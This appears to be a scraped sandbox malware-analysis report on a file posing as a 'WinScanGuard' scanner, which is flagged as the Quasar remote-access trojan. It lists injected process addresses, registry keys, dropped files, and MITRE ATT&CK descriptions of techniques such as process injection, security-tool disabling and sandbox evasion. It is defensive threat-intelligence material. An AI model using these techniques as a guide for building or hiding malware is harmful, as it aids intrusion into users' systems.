Source: C:\Windows\System32\svchost.exe	Code function: 27_2_000002A66130BEDC	27_2_000002A66130BEDC
Source: C:\Windows\System32\svchost.exe	Code function: 27_2_000002A661302D78	27_2_000002A661302D78
Source: C:\Windows\System32\svchost.exe	Code function: 27_2_000002A66130BCD0	27_2_000002A66130BCD0
Source: C:\Windows\System32\svchost.exe	Code function: 27_2_000002A6613722F8	27_2_000002A6613722F8
Source: C:\Windows\System32\svchost.exe	Code function: 27_2_000002A66136FF98	27_2_000002A66136FF98
Source: C:\Windows\System32\svchost.exe	Code function: 27_2_000002A66136BEDC	27_2_000002A66136BEDC
Source: C:\Windows\System32\svchost.exe	Code function: 27_2_000002A661362D78	27_2_000002A661362D78
Source: C:\Windows\System32\svchost.exe	Code function: 27_2_000002A66136BCD0	27_2_000002A66136BCD0
Source: C:\Windows\System32\dwm.exe	Code function: 30_2_000002BAAF1E16F8	30_2_000002BAAF1E16F8
Source: C:\Windows\System32\dwm.exe	Code function: 30_2_000002BAAF1DB2DC	30_2_000002BAAF1DB2DC
Source: C:\Windows\System32\dwm.exe	Code function: 30_2_000002BAAF1DB0D0	30_2_000002BAAF1DB0D0
Source: C:\Windows\System32\dwm.exe	Code function: 30_2_000002BAAF1D2178	30_2_000002BAAF1D2178
Source: C:\Windows\System32\dwm.exe	Code function: 30_2_000002BAAF1DF398	30_2_000002BAAF1DF398
Source: C:\Windows\System32\dwm.exe	Code function: 30_2_000002BAAF20B2DC	30_2_000002BAAF20B2DC
Source: C:\Windows\System32\dwm.exe	Code function: 30_2_000002BAAF2116F8	30_2_000002BAAF2116F8
Source: C:\Windows\System32\dwm.exe	Code function: 30_2_000002BAAF20B0D0	30_2_000002BAAF20B0D0
Source: C:\Windows\System32\dwm.exe	Code function: 30_2_000002BAAF202178	30_2_000002BAAF202178
Source: C:\Windows\System32\dwm.exe	Code function: 30_2_000002BAAF20F398	30_2_000002BAAF20F398
Source: C:\Windows\System32\dwm.exe	Code function: 30_2_000002BAB14BBCD0	30_2_000002BAB14BBCD0
Source: C:\Windows\System32\dwm.exe	Code function: 30_2_000002BAB14B2D78	30_2_000002BAB14B2D78
Source: C:\Windows\System32\dwm.exe	Code function: 30_2_000002BAB14BFF98	30_2_000002BAB14BFF98
Source: C:\Windows\System32\dwm.exe	Code function: 30_2_000002BAB14BBEDC	30_2_000002BAB14BBEDC
Source: C:\Windows\System32\dwm.exe	Code function: 30_2_000002BAB14C22F8	30_2_000002BAB14C22F8
Source: C:\Windows\System32\dwm.exe	Code function: 30_2_000002BAB14EB0D0	30_2_000002BAB14EB0D0
Source: C:\Windows\System32\dwm.exe	Code function: 30_2_000002BAB14E2178	30_2_000002BAB14E2178
Source: C:\Windows\System32\dwm.exe	Code function: 30_2_000002BAB14EF398	30_2_000002BAB14EF398
Source: C:\Windows\System32\dwm.exe	Code function: 30_2_000002BAB14EB2DC	30_2_000002BAB14EB2DC
Source: C:\Windows\System32\dwm.exe	Code function: 30_2_000002BAB14F16F8	30_2_000002BAB14F16F8
Source: C:\Windows\System32\dwm.exe	Code function: 30_2_000002BAB154B0D0	30_2_000002BAB154B0D0
Source: C:\Windows\System32\dwm.exe	Code function: 30_2_000002BAB1542178	30_2_000002BAB1542178
Source: C:\Windows\System32\dwm.exe	Code function: 30_2_000002BAB154F398	30_2_000002BAB154F398
Source: C:\Windows\System32\dwm.exe	Code function: 30_2_000002BAB15516F8	30_2_000002BAB15516F8
Source: C:\Windows\System32\dwm.exe	Code function: 30_2_000002BAB154B2DC	30_2_000002BAB154B2DC
Source: C:\Windows\System32\svchost.exe	Code function: 31_2_0000026A879CB0D0	31_2_0000026A879CB0D0
Source: C:\Windows\System32\svchost.exe	Code function: 31_2_0000026A879CF398	31_2_0000026A879CF398
Source: C:\Windows\System32\svchost.exe	Code function: 31_2_0000026A879CB2DC	31_2_0000026A879CB2DC
Source: C:\Windows\System32\svchost.exe	Code function: 31_2_0000026A879D16F8	31_2_0000026A879D16F8
Source: C:\Windows\System32\svchost.exe	Code function: 31_2_0000026A879C2178	31_2_0000026A879C2178
Source: C:\Windows\System32\svchost.exe	Code function: 31_2_0000026A87F4BCD0	31_2_0000026A87F4BCD0
Source: C:\Windows\System32\svchost.exe	Code function: 31_2_0000026A87F4FF98	31_2_0000026A87F4FF98
Source: C:\Windows\System32\svchost.exe	Code function: 31_2_0000026A87F522F8	31_2_0000026A87F522F8
Source: C:\Windows\System32\svchost.exe	Code function: 31_2_0000026A87F4BEDC	31_2_0000026A87F4BEDC
Source: C:\Windows\System32\svchost.exe	Code function: 31_2_0000026A87F42D78	31_2_0000026A87F42D78
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_0000017953772178	36_2_0000017953772178
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_000001795377B0D0	36_2_000001795377B0D0
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_000001795377F398	36_2_000001795377F398
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_00000179537816F8	36_2_00000179537816F8
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_000001795377B2DC	36_2_000001795377B2DC
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_00000179537A2D78	36_2_00000179537A2D78
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_00000179537ABCD0	36_2_00000179537ABCD0
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_00000179537AFF98	36_2_00000179537AFF98
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_00000179537B22F8	36_2_00000179537B22F8
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_00000179537ABEDC	36_2_00000179537ABEDC
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_0000017953D42D78	36_2_0000017953D42D78
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_0000017953D4BCD0	36_2_0000017953D4BCD0
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_0000017953D4FF98	36_2_0000017953D4FF98
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_0000017953D522F8	36_2_0000017953D522F8
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_0000017953D4BEDC	36_2_0000017953D4BEDC

Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior

Source: 18.2.$sxr-powershell.exe.285393991b8.13.unpack, type: UNPACKEDPE	Matched rule: Detects Quasar RAT Author: Florian Roth
Source: 18.2.$sxr-powershell.exe.285393991b8.13.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Quasar RAT Author: Florian Roth
Source: 18.2.$sxr-powershell.exe.28539411228.18.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Quasar RAT Author: Florian Roth
Source: 18.2.$sxr-powershell.exe.285393c11f0.19.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Quasar RAT Author: Florian Roth
Source: 18.2.$sxr-powershell.exe.28539411228.18.unpack, type: UNPACKEDPE	Matched rule: Detects Quasar RAT Author: Florian Roth
Source: 18.2.$sxr-powershell.exe.285393c11f0.19.unpack, type: UNPACKEDPE	Matched rule: Detects Quasar RAT Author: Florian Roth
Source: 00000012.00000002.3104746555.0000028539051000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Quasar RAT Author: Florian Roth

Source: C:\Windows\$sxr-cmd.exe	Process created: Commandline size = 7207
Source: C:\Windows\$sxr-powershell.exe	Process created: Commandline size = 7313
Source: C:\Windows\$sxr-cmd.exe	Process created: Commandline size = 7207	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: Commandline size = 7313	Jump to behavior

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report WinScanGuard_v.2.1.bat

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_dllhost.exe_e9f77695e3d2cfb5e47f6370dede8f33ec75f9_c90535d8_a52369eb-1042-4564-b52e-6baa10ff69df\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFE67.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFF24.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFF54.tmp.xml

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\WinScanGuard_v.2.1.bat.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_czkvuqwa.z05.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gnhdjmxp.ad2.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ije0lk0v.uff.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mwh1b4ew.3yg.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rxs4pjp0.5c3.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wc3snacw.ye3.ps1

C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe

C:\Windows\$sxr-cmd.exe

Windows Analysis Report
WinScanGuard_v.2.1.bat

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre